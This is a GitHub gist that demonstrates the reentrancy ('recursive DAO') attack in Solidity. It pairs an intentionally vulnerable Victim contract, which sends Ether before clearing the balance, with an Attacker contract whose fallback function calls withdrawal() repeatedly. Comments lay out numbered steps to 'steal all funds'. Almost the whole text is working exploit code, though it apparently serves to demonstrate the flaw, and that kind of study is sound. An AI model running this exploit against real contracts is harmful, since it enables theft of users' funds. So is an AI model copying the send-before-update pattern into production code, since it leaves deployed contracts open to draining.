Skip to content

Instantly share code, notes, and snippets.

@theblockstalk
Created August 14, 2017 13:31
Show Gist options
  • Save theblockstalk/e990a234b025457685f3a97ef082d1bf to your computer and use it in GitHub Desktop.
Save theblockstalk/e990a234b025457685f3a97ef082d1bf to your computer and use it in GitHub Desktop.
Simple smart contract displaying the recursive DAO type attack
pragma solidity ^0.4.10;
contract Victim {
mapping (address => uint) public funds;
event Deposit(address deposit, uint amount);
event Withdrawal(address withdrawal, uint amount);
// event consoleLogUin(string message, uint value);
function deposit() payable {
funds[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
function withdrawal() {
// consoleLogUin("msg.gas", msg.gas);
// consoleLogUin("funds[msg.sender]", funds[msg.sender]);
// consoleLogUin("this.balance", this.balance);
if (msg.sender.send(funds[msg.sender])) {
// if (msg.sender.call.gas(msg.gas - 50000).value(funds[msg.sender])()) {
Withdrawal(msg.sender, funds[msg.sender]);
funds[msg.sender] = 0;
}
}
}
contract Attacker {
Victim public victim;
// event consoleLogUin(string message, uint value);
function Attacker(Victim victimAddress) {
victim = victimAddress;
}
function depositVictim() payable {
victim.deposit.value(msg.value)();
}
// 1. Call Victim.deposit() from another account (this is what will be stolen)
// 2. Call Attacker.depositVictim() first with some amount of Ether
// The greater the deposit amount, the less recursive calls needed and the lower the gas cost
// The lower the deposit amount the closer to the total of the victim that you can steal
// 3. Call Attacker.() (fallback function) with a large amount of gas to attack Victic and steal all funds
function () {
// consoleLogUin("()", 1);
// consoleLogUin("victim.balance", victim.balance);
// consoleLogUin("victim.funds(this)", victim.funds(this));
if (msg.gas > 50000 && victim.balance >= victim.funds(this)) {
// consoleLogUin("victim.withdrawal()", 1);
victim.withdrawal();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment